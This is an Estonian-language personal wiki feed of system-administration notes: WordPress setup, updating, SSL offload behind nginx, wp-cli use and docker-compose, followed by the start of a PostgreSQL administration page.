* Fluida -&amp;gt; Miscellaneous -&amp;gt; Custom Theme CSS&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#footer-inside {display: none;}&lt;br /&gt;
h1 {font-size: 20px; font-weight: bold;}&lt;br /&gt;
.entry-content table {background-color: #f6f6f6; width: 100%;}&lt;br /&gt;
.entry-content table.hinnatabel tr td:first-child:not(.fourcols) { width: 90%;}&lt;br /&gt;
.entry-content table.contact tr:nth-child(2n+1) td {&lt;br /&gt;
 background-color: #fff !important;&lt;br /&gt;
}&lt;br /&gt;
.tulp-teenus {width: 80%;}&lt;br /&gt;
.tulp-hind {width: 20%; text-align: center; font-weight: bold;}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* kui /wp-admin/ uri enam ei tööta, siis võib olla abi http://codex.wordpress.org/Changing_The_Site_URL õpetusest, need read nö kirjutavad üle andmebaasis kirjeldatud väärtused, nad tuleb sisestada php faili algusse&lt;br /&gt;
&lt;br /&gt;
 define('WP_HOME','http://example.com');&lt;br /&gt;
 define('WP_SITEURL','http://example.com');&lt;br /&gt;
&lt;br /&gt;
või andmebaasis muuta&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; select option_value from wp_options where option_name='home';&lt;br /&gt;
 mysql&amp;gt; select option_value from wp_options where option_name='siteurl';&lt;br /&gt;
&lt;br /&gt;
 mysql&amp;gt; update wp_options set option_value='http://www.moraal.ee/wp' where option_name='home';&lt;br /&gt;
 mysql&amp;gt; update wp_options set option_value='http://www.moraal.ee/wp' where option_name='siteurl';&lt;br /&gt;
&lt;br /&gt;
===Tarkvara uuendamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara uuendamiseks on mitmeid võimalusi, muu hulgas&lt;br /&gt;
&lt;br /&gt;
* webgui kaudu&lt;br /&gt;
* failisüsteemi kaudu&lt;br /&gt;
&lt;br /&gt;
====Webgui kaudu====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt lähtub põhimõttest, et veebiserveri protsessidel ja veebirakendustega seotud failidel ja kataloogidel peavad võimalusel olema erinevad omanikud:grupid. Vastasel korral on pahalasel veel üks võimalus teha muudatusi rakendusserveri failisüseemi tundlikus osas.&lt;br /&gt;
&lt;br /&gt;
Pluginate ja WP tarkvara enda uuendamiseks on mitmeid võimalusi. Kui veebiserveri failisüsteemis on rakenduse failid mitte veebiserver protsessi vaid mingi kasutaja, kes ftp abil sisse logida saab, omad, siis on võimalik selline asjakorraldus&lt;br /&gt;
&lt;br /&gt;
* kasutaja logib admin privileegidega brauseri abil teenusesse sisse&lt;br /&gt;
* liigub uuendamise sektsiooni ja asub uuendama; esmalt Core, siis Themes ja lõpuks Plugins&lt;br /&gt;
* server pöördub internetti ja kopeerib vastava uuenduse ära&lt;br /&gt;
* server pöördub sisemiselt ise enda poole üle ftp kasutades seda 'kasutaja' kontot ja kopeerib failid failisüsteemi sobivatesse asukohtadesse (nii toimub kopeerimine failisüsteemi mitte veebiserveri kasutajana vaid ftp kasutajana)&lt;br /&gt;
* wordpress teeb lisaks mingeid abistavaid toiminguid (nt muudab failisüsteemis loabitte, muudab andmebaasi sisu jne)&lt;br /&gt;
&lt;br /&gt;
Selleks, et see asjakorraldus töötaks peab&lt;br /&gt;
&lt;br /&gt;
* veebiserveris töötama ftp server&lt;br /&gt;
* tundub, et piisab kui www-data kasutaja ei saa asjadele ligi ja siis rakendus hakkab ftp abil käima, vajadusel võib wp-config.php failis kasutada selliseid ridu (lisaks saab ideid aadressilt https://codex.wordpress.org/Editing_wp-config.php) (&lt;br /&gt;
&lt;br /&gt;
 define( 'FS_METHOD', 'ftpsockets' );&lt;br /&gt;
 define( 'FTP_BASE', '/html/' );&lt;br /&gt;
 define( 'FTP_SSL', false );&lt;br /&gt;
&lt;br /&gt;
kus FTP_BASE on see failisüsteemi WP rakenduse path, mis paistab ftp kasutajale peale sisselogimist (antud juhul on ftp kasutaja chrootitud)&lt;br /&gt;
&lt;br /&gt;
Uuendamisel ftp serverisse sisselogimisel paistab brauseris selline pilt&lt;br /&gt;
&lt;br /&gt;
[[Pilt:wp-3.gif]]&lt;br /&gt;
&lt;br /&gt;
Lisaks saab kasutada selliseid parameetreid, siis toimub sellesse FTP serverisse sisselogimine automaatselt&lt;br /&gt;
&lt;br /&gt;
 define( 'FS_METHOD', 'ftpext' );&lt;br /&gt;
 define( 'FTP_USER', 'ftp-wp' );  &lt;br /&gt;
 define( 'FTP_PASS', 'parool' );  &lt;br /&gt;
 define( 'FTP_HOST', '127.0.0.1' );      &lt;br /&gt;
 define( 'FTP_SSL', false );&lt;br /&gt;
&lt;br /&gt;
* vsftpd serveri puhul võib abiks olla logimine&lt;br /&gt;
&lt;br /&gt;
 log_ftp_protocol=YES&lt;br /&gt;
&lt;br /&gt;
=====v. 4.6.1 -&amp;gt; 4.7.2=====&lt;br /&gt;
&lt;br /&gt;
Tundub, et v. 4.6.1 -&amp;gt; 4.7.2 uuendamine töötab väga ilusti. Fluida theme juures ilmus Front Page juurde nähtavale nö kummaline asi, selle väljalülitamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====Failisüsteemi kaudu====&lt;br /&gt;
&lt;br /&gt;
Üldine protseduur, https://wordpress.org/documentation/article/updating-wordpress/#manual-update&lt;br /&gt;
&lt;br /&gt;
Failisüsteemi kaudu uuendamine sobib nt juhtumil kui webgui kaudu ei pakuta sobivat versiooni, nt uuendusel v. 5.7.2 -&amp;gt; 5.7.11, &lt;br /&gt;
https://wordpress.org/download/releases/#branch-57&lt;br /&gt;
&lt;br /&gt;
===SSL offload===&lt;br /&gt;
&lt;br /&gt;
Tundub, et Wordpress 6.6.2 töötab väga hästi ssl offloaderi, nt NginX taga. Paigaldamise protseduur&lt;br /&gt;
&lt;br /&gt;
* esmalt paigaldada ära naturaalse http://www.auul.pri.ee/wp/ aadressile ilma ssl kasutamiseta (otse backend poole pöördudes)&lt;br /&gt;
* lülitada ssl kasutamine sisse all esitatud kolme muudatuse abil (1. php rakenduses webgui kaudu 2. nginx, 3. php rakenduse seadistusfail)&lt;br /&gt;
&lt;br /&gt;
wordpress webgui enda seadistustes väljendada, Settings -&amp;gt; General&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
WordPress Address (URL) - https://www.auul.pri.ee/wp/&lt;br /&gt;
Site Address (URL) - https://www.auul.pri.ee/wp/&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seejärel nginx ssl offloader seadistustes&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
..&lt;br /&gt;
    location /wp {&lt;br /&gt;
      proxy_set_header Host $http_host;&lt;br /&gt;
      proxy_set_header X-Real-IP $remote_addr;&lt;br /&gt;
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&lt;br /&gt;
      proxy_set_header X-Forwarded-Proto $scheme;&lt;br /&gt;
      proxy_pass http://192.168.1.24;&lt;br /&gt;
&lt;br /&gt;
      proxy_connect_timeout       900;&lt;br /&gt;
      proxy_send_timeout          900;&lt;br /&gt;
      proxy_read_timeout          900;&lt;br /&gt;
      send_timeout                900;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning php rakenduse seadisusfailis wp-config.php, algusse lisatud sektsioon, muus osas fail säilib&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# head -n 6 wp/wp-config.php &lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &amp;amp;&amp;amp; $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {&lt;br /&gt;
  $_SERVER['HTTPS'] = 'on';&lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
..&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab rakendust kasutada aadressil https://www.auul.pri.ee/wp/ (ja üle http:// enam ei saa).&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://blog.ldev.app/running-wordpress-behind-ssl-and-nginx-reverse-proxy/&lt;br /&gt;
* https://www.reddit.com/r/nginxproxymanager/comments/10u0wbj/running_wordpress_behind_nginx_proxy_manager/&lt;br /&gt;
&lt;br /&gt;
===wp-cli===&lt;br /&gt;
&lt;br /&gt;
wp-cli http://wp-cli.org/ võimaldab hallata WordPress lahendust käsurealt, sh automatiseerida tegevusi.&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine====&lt;br /&gt;
&lt;br /&gt;
wp-cli esineb ühe phar faili kujul, mille saab kopeerida aadressilt ...&lt;br /&gt;
&lt;br /&gt;
 # cd /usr/local/bin&lt;br /&gt;
 # curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar&lt;br /&gt;
 # mv wp-cli.phar wp&lt;br /&gt;
 # chmod 0755 wp&lt;br /&gt;
&lt;br /&gt;
help küsimiseks sobib öelda wp ilma argumentideta&lt;br /&gt;
&lt;br /&gt;
 $ wp&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
====Veebikoha tekitamine====&lt;br /&gt;
&lt;br /&gt;
Ettevalmistusena peab olema olemas&lt;br /&gt;
&lt;br /&gt;
* unix kasutaja:parool&lt;br /&gt;
&lt;br /&gt;
 # mkdir -p /srv/site-2.moraal.ee/html&lt;br /&gt;
 # groupadd site-2&lt;br /&gt;
 # useradd -g site-2 -m -d /srv/site-2.moraal.ee/private -s /bin/bash site-2&lt;br /&gt;
 # chown -R site-2:site-2 /srv/site-2.moraal.ee&lt;br /&gt;
&lt;br /&gt;
* create database andmebaas, kasutaja ja parool&lt;br /&gt;
* apache veebiserveri virt host juurkataloogiga&lt;br /&gt;
&lt;br /&gt;
 /srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Allalaadimine, tulemusena on --path kataloogi php skriptid jms lahti pakitud&lt;br /&gt;
&lt;br /&gt;
 $ wp core download --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Seadistusfaili genereerimine, tulemusena moodustatakse fail /srv/site-2.moraal.ee/html/wp-config.php; käsureal kasutatakse varem tekitatud baasi ligipääse kusjuures nende toimimist taustal kontrollitakse&lt;br /&gt;
&lt;br /&gt;
 $ wp config create --path=/srv/site-2.moraal.ee/html --dbname=site_2 --dbuser=site_2 --dbpass=parool --dbhost=127.0.0.1 --dbprefix=wp_&lt;br /&gt;
&lt;br /&gt;
Andmebaasi sisu genereerimiseks&lt;br /&gt;
&lt;br /&gt;
 $ wp core install --path=/srv/site-2.moraal.ee/html --url=http://site-2.moraal.ee/ --title=site-2 --admin_user=admin \&lt;br /&gt;
  --admin_password=parool --admin_email=imre@auul.pri.ee&lt;br /&gt;
&lt;br /&gt;
Tulemusena on olemas default sisuga veebikoht aadressil http://site-2.moraal.ee/ ja sinna saab admin nimelise kasutaja ja näidatud parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lõpuks muuta veel osa katalooge veebiserveri kasutaja jaoks kirjutatavaks&lt;br /&gt;
&lt;br /&gt;
 # chown www-data:www-data /srv/site-2.moraal.ee/html/wp-content/uploads&lt;br /&gt;
&lt;br /&gt;
====Pluginate kasutamine====&lt;br /&gt;
&lt;br /&gt;
Plugina lisamine&lt;br /&gt;
&lt;br /&gt;
 $ wp plugin install hello-dolly --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Plugina aktiviseerimine&lt;br /&gt;
&lt;br /&gt;
 $ wp plugin activate hello-dolly --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Plugina deaktiviseerimine&lt;br /&gt;
&lt;br /&gt;
 $ wp plugin deactivate hello-dolly --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
Pluginate nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp plugin list --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
+-------------+----------+--------+---------+&lt;br /&gt;
| name        | status   | update | version |&lt;br /&gt;
+-------------+----------+--------+---------+&lt;br /&gt;
| akismet     | inactive | none   | 3.3.2   |&lt;br /&gt;
| hello-dolly | inactive | none   | 1.6     |&lt;br /&gt;
+-------------+----------+--------+---------+&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Plugina eemaldamine&lt;br /&gt;
&lt;br /&gt;
 $ wp plugin uninstall hello-dolly --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
&lt;br /&gt;
====Themes kasutamine====&lt;br /&gt;
&lt;br /&gt;
Theme paigaldamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp theme install fluida --path=/srv/site-3.moraal.ee/html&lt;br /&gt;
Installing Fluida (1.3.3)&lt;br /&gt;
Downloading install package from https://downloads.wordpress.org/theme/fluida.1.3.3.zip...&lt;br /&gt;
Unpacking the package...&lt;br /&gt;
Installing the theme...&lt;br /&gt;
Theme installed successfully.&lt;br /&gt;
Success: Installed 1 of 1 themes.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Themes nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp theme list --path=/srv/site-3.moraal.ee/html&lt;br /&gt;
+-----------------+----------+--------+---------+&lt;br /&gt;
| name            | status   | update | version |&lt;br /&gt;
+-----------------+----------+--------+---------+&lt;br /&gt;
| fluida          | inactive | none   | 1.3.3   |&lt;br /&gt;
| twentyfifteen   | inactive | none   | 1.8     |&lt;br /&gt;
| twentyseventeen | active   | none   | 1.3     |&lt;br /&gt;
| twentysixteen   | inactive | none   | 1.3     |&lt;br /&gt;
+-----------------+----------+--------+---------+&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Theme aktiveerimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp theme activate fluida --path=/srv/site-3.moraal.ee/html&lt;br /&gt;
Sccess: Switched to 'Fluida' theme.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Core uuendamine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Kontrollsummade kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ wp checksum core --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
Success: WordPress install verifies against checksums.&lt;br /&gt;
&lt;br /&gt;
$ echo &amp;quot; &amp;quot; &amp;gt;&amp;gt; /srv/site-2.moraal.ee/html/index.php &lt;br /&gt;
$ wp checksum core --path=/srv/site-2.moraal.ee/html&lt;br /&gt;
Warning: File doesn't verify against checksum: index.php&lt;br /&gt;
Error: WordPress install doesn't verify against checksums.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://deliciousbrains.com/automating-local-wordpress-site-setup-scripts/&lt;br /&gt;
* https://www.dreamhost.com/blog/upgrade-wordpress-core-command-line-wp-cli/&lt;br /&gt;
* https://www.linode.com/docs/websites/cms/install-wordpress-using-wp-cli-on-ubuntu-14-04&lt;br /&gt;
&lt;br /&gt;
===Unustatud parooli muutmine===&lt;br /&gt;
&lt;br /&gt;
* Andmebaasis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
MariaDB [wp_napal]&amp;gt; UPDATE wp_moraalusers SET user_pass = MD5('uusparool') WHERE ID = 1;&lt;br /&gt;
Query OK, 1 row affected (0.15 sec)&lt;br /&gt;
Rows matched: 1  Changed: 1  Warnings: 0&lt;br /&gt;
&lt;br /&gt;
MariaDB [wp_napal]&amp;gt; SELECT ID, user_login, user_pass FROM wp_moraalusers;&lt;br /&gt;
+----+-----------------------+------------------------------------+&lt;br /&gt;
| ID | user_login            | user_pass                          |&lt;br /&gt;
+----+-----------------------+------------------------------------+&lt;br /&gt;
|  1 | imre.oolberg@moraal.ee | 5de5918ceb974a41a9575e385cc2f71b   |&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/WordPress&lt;br /&gt;
* Using WordPress, Tris Hussey, 2010&lt;br /&gt;
* http://usingwordpress.com/&lt;br /&gt;
&lt;br /&gt;
===Wordpress + Fluida abil lihtsa veebikoha tekitamine===&lt;br /&gt;
&lt;br /&gt;
* Pages sissekannete tekitamine (Avaleht, MS1 (menüüsissekanne), MS2, MS1-MV1 (menüüvalik), MS1-MV2, Kontakt jne)&lt;br /&gt;
&lt;br /&gt;
 Pages - Add New -&amp;gt; Publish&lt;br /&gt;
&lt;br /&gt;
* Menüü tekitamine&lt;br /&gt;
&lt;br /&gt;
 Appearance -&amp;gt; Menus -&amp;gt; create a new menü (nimega Peamenüü)&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
Menu Stucture alla viia Pages sissekanded&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
 Menu Settings -&amp;gt; Display location -&amp;gt; Primary Navigation&lt;br /&gt;
&lt;br /&gt;
* Fluida kohendamine&lt;br /&gt;
&lt;br /&gt;
Themes -&amp;gt; Fluida -&amp;gt; Customize&lt;br /&gt;
&lt;br /&gt;
ning seejärel läbi käia&lt;br /&gt;
&lt;br /&gt;
* Site Identity -&amp;gt; Site Identiy -&amp;gt; Site Title ja Site Tagline&lt;br /&gt;
&lt;br /&gt;
 Moraal&lt;br /&gt;
&lt;br /&gt;
* Layout - valida esimene&lt;br /&gt;
* Landing Page -&amp;gt; Settings -&amp;gt; Landing Page&lt;br /&gt;
&lt;br /&gt;
 Disabled (use WordPress homepage)&lt;br /&gt;
&lt;br /&gt;
* Homepage Settings -&amp;gt; A static page -&amp;gt; Homepage&lt;br /&gt;
&lt;br /&gt;
 Avaleht&lt;br /&gt;
&lt;br /&gt;
* Ilusad urlid (eeldab, et Apache mod rewrite jms on sisselülitatud)&lt;br /&gt;
&lt;br /&gt;
 Settings -&amp;gt; Permalinks -&amp;gt; Post name&lt;br /&gt;
&lt;br /&gt;
===20240919 andmebaasi kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
MariaDB [(none)]&amp;gt; CREATE DATABASE projektinimi CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;&lt;br /&gt;
MariaDB [(none)]&amp;gt; grant all privileges on projektinimi.* to 'projektinimi'@'%' identified by 'parool';&lt;br /&gt;
MariaDB [(none)]&amp;gt; grant all privileges on projektinimi.* to 'projektinimi'@'localhost' identified by 'parool';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.auul.pri.ee/wiki/MariaDB&lt;br /&gt;
* https://www.coderedcorp.com/blog/guide-to-mysql-charsets-collations/#:~:text=utf8mb4_unicode_520_ci%20is%20an%20updated%20version,0%20standard.&lt;br /&gt;
&lt;br /&gt;
===20260515 andmebaasi kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
MariaDB [(none)]&amp;gt; CREATE DATABASE db_wp CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_520_ci;&lt;br /&gt;
Query OK, 1 row affected (0.001 sec)&lt;br /&gt;
&lt;br /&gt;
MariaDB [(none)]&amp;gt; CREATE USER 'user_wp'@'localhost' IDENTIFIED BY 'parool';&lt;br /&gt;
Query OK, 0 rows affected (0.001 sec)&lt;br /&gt;
&lt;br /&gt;
MariaDB [(none)]&amp;gt; GRANT ALL PRIVILEGES ON db_wp.* TO 'user_wp'@'localhost';&lt;br /&gt;
Query OK, 0 rows affected (0.001 sec)&lt;br /&gt;
&lt;br /&gt;
MariaDB [(none)]&amp;gt; FLUSH PRIVILEGES;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Docker compose abil===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-test:~# cat /srv/wp/dc/docker-compose-uus.yml &lt;br /&gt;
name: p_wp&lt;br /&gt;
services:&lt;br /&gt;
&lt;br /&gt;
  svc_wordpress:&lt;br /&gt;
    container_name: cn_wordpress_2&lt;br /&gt;
#    image: wordpress:5.9.3-php8.1-apache&lt;br /&gt;
#    image: wordpress:5.9.3-php8.1-apache_with_newrelic&lt;br /&gt;
#    image: wordpress:php7.4-apache&lt;br /&gt;
    image: wordpress:php8.3-apache&lt;br /&gt;
    restart: always&lt;br /&gt;
    ports:&lt;br /&gt;
      - 8686:80&lt;br /&gt;
    environment:&lt;br /&gt;
      WORDPRESS_DB_HOST: svc_mysql&lt;br /&gt;
      WORDPRESS_DB_USER: exampleuser&lt;br /&gt;
      WORDPRESS_DB_PASSWORD: parool&lt;br /&gt;
      WORDPRESS_DB_NAME: exampledb&lt;br /&gt;
    volumes:&lt;br /&gt;
      - '/srv/wp/volume/wordpress:/var/www/html'&lt;br /&gt;
    networks:&lt;br /&gt;
      - newrelic-php&lt;br /&gt;
&lt;br /&gt;
  svc_mysql:&lt;br /&gt;
    container_name: cn_mysql_2&lt;br /&gt;
#    image: mysql:5.7&lt;br /&gt;
    image: mariadb:noble&lt;br /&gt;
    restart: always&lt;br /&gt;
    environment:&lt;br /&gt;
      MYSQL_DATABASE: exampledb&lt;br /&gt;
      MYSQL_USER: exampleuser&lt;br /&gt;
      MYSQL_PASSWORD: parool&lt;br /&gt;
      MYSQL_RANDOM_ROOT_PASSWORD: '1'&lt;br /&gt;
    volumes:&lt;br /&gt;
      - '/srv/wp/volume/mysql:/var/lib/mysql'&lt;br /&gt;
    networks:&lt;br /&gt;
      - newrelic-php&lt;br /&gt;
      &lt;br /&gt;
  svc_redis:&lt;br /&gt;
    container_name: cn_redis&lt;br /&gt;
#    image: mysql:5.7&lt;br /&gt;
    image: redis:bookworm&lt;br /&gt;
    restart: always&lt;br /&gt;
    environment:&lt;br /&gt;
      - REDIS_PORT=6379&lt;br /&gt;
      - REDIS_DATABASES=16&lt;br /&gt;
#    volumes:&lt;br /&gt;
#      - '/srv/wp/volume/mysql:/root/redis'&lt;br /&gt;
    networks:&lt;br /&gt;
      - newrelic-php&lt;br /&gt;
      &lt;br /&gt;
networks:&lt;br /&gt;
  newrelic-php:&lt;br /&gt;
    name: newrelic-php&lt;br /&gt;
    external: true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4215</id>
		<title>PostgreSQL haldamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4215"/>
		<updated>2026-06-15T09:00:33Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* locale provider - libc */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasi haldamise eesmärgiks on tagada korrektselt tootav andmebaasiteenus, mida saavad kasutajad ja rakendused kasutada. PostgreSQL andmebaasi haldamine sisaldab sisaldab üldiselt selliseid tegevusi&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tarkvara paigaldamine süsteemi&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara veaparanduste rakendamine&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara versiooniuuenduste sooritamine&lt;br /&gt;
* Andmabaasile kasutajate ja rakenduse jaoks ligipääsude tegemine&lt;br /&gt;
* Andmebaasi vakumeerimine&lt;br /&gt;
* Andmebaasist või selle osadest arhiivifaili moodustamine ja sellise arhiivifaili kasutamine&lt;br /&gt;
* Andmebaasi varundamine ja taaste&lt;br /&gt;
* Andmebaasi tarkvara eemaldamine süsteemist&lt;br /&gt;
&lt;br /&gt;
Osa neist tegevustest on Kuutõrvajas käsitletetud eraldi tekstides.&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamise alla ei kuulu t andmebaasi kasutamisega seotud küsimused, kuigi tehniliselt võib saada kasutada samu instrumente nii kasutamise kui haldusprotseduuride soovitamiseks, nt programm psql.&lt;br /&gt;
&lt;br /&gt;
Lisaks haldusprotseduuride endile kirjeldatakse käesolevas tekstis ka nt PostgreSQL andmebaasi objektide hierariat ja privileegisüsteemi, samuti, kuidas saada vastuseid haldamise seisukohalt olulistele küsimustele, nt milline on tabeli või andmebaasi suurus MBaitides.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* commit kirjutab muudatuse wal logifaili&lt;br /&gt;
* checkpoint kirjutab muudatused andmefailidesse&lt;br /&gt;
&lt;br /&gt;
Vastaku ühe tabeli mingitele ridadele kolm 8k suurust page't base kataloogi all mingis failis; kui parasjagu baas nendega töötab, sh muudab, siis võiks nii öelda, et neist on olemas kolm eksemplari, kõik tõenäoliselt vähemalt mingitel hetkedel mingis osas erinevad üksteisest&lt;br /&gt;
&lt;br /&gt;
* base kataloogi alla nn data failides&lt;br /&gt;
* shared buffers mälus&lt;br /&gt;
* wal logi kataloogis failides&lt;br /&gt;
&lt;br /&gt;
Andmebaasi mootori üks vastutus seisneb selles, et ta oma dirty, commit, checkpoint jt vahenditega töötab andmetega ja sedasi, et mis iganes hetkel võib juhtuda crash, ikkagi pärast seda kõige hullem, mis juhtub, et keritakse mingi hulk muudatusi tagasi, kuid andmed on siiski kooskõlalised.&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* autovacuum - tabeli ridadega toimunud update ja delete muudatused tekitavad tabelisse 'füüsiliselt' uusi sissekandeid, mille olemasolu on seotud PostgreSQL MVCC süsteemiga, st kui sama reaga tegeles üks kasutaja ja ütles delete, ning samal ajal teine kasutaja luges seda, siis peab baas suutma neid mõlemat kasutust teenindada;   sellel põhjusel kogunevad ühest samast tabeli reast mitmed versioonid, autovacuum tegeleb vanade kasutute versioonide all oleva salvestusressursi uuesti kasutatavaks märkimisega; seejuurus autovacuum ei anna failisüsteemis mahtu tagasi v.a. siis kui tema vabastatavad read asuvad data failide lõpus&lt;br /&gt;
* vacuum full - tabel kopeeritakse sisuliselt ümber ja ruum vabastatakse; ümber kopeerimiseks on vaja sama palju ruumi kui nö mustas tabelis on (st mitte pole vaja lisaks ainult seda ruumi, mis on reaalselt kasutuses); vacuum full saab öelda create database kaupa ja ka tabeli kaupa; vacuum full haldab automaatselt ära indeksid, constraintid jms&lt;br /&gt;
&lt;br /&gt;
===Haldustarkvara===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamiseks sobib kasutada nt selliseid programme&lt;br /&gt;
&lt;br /&gt;
* psql - nt sisaldub paketis postgresql-client-8.3&lt;br /&gt;
* PgAdmin3&lt;br /&gt;
&lt;br /&gt;
===psql utiliidi kasutamine===&lt;br /&gt;
&lt;br /&gt;
psql on andmebaasi interaktiivne terminaliprogramm, mida saab üldiselt kasutada nii andmebaasi pärigute esitamiseks kui haldusprotseduuridele iseloomulike tegevuste sooritamiseks. Järgnevas kirjeldatakse psql kasutamist aktsendiga haldusele.&lt;br /&gt;
&lt;br /&gt;
* Skeemi tabelite nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
ja koos suurustega lisada +&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt+ priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
Väljundi faili salvestamiseks tuleb ette öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/psql-valjund.txt&lt;br /&gt;
&lt;br /&gt;
===Andmebaasid===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi on kõigil PostgreSQL kasutajatel õigus ühenduda andmebaasiga, kusjuures sealt edasi andmebaasis sisalduvate objektide (skeemid, tabelid, vaated je) kasutamist piiratakse privileegidega. Kui andmebaas on ühe kasutaja oma ja skeem ning skeemis sisalduv teise kasutaja oma, siis esimene kasutaja ei pruugi saada teist skeemi kasutada vaatamata sellele, et ta on vastava andmebaasi omanik.&lt;br /&gt;
&lt;br /&gt;
===Skeemid===&lt;br /&gt;
&lt;br /&gt;
* Võimaldada mitmetele kasutajatel kasutada sama andmebaasi säilitades kasutajate privaatsuse.&lt;br /&gt;
* Korraldada andmebaasi objektid loogilistesse gruppidesse selleks, et andmebaas oleks paremini hallatav&lt;br /&gt;
* Erinevates skeemides saab kasutada samu objektide nimesid&lt;br /&gt;
&lt;br /&gt;
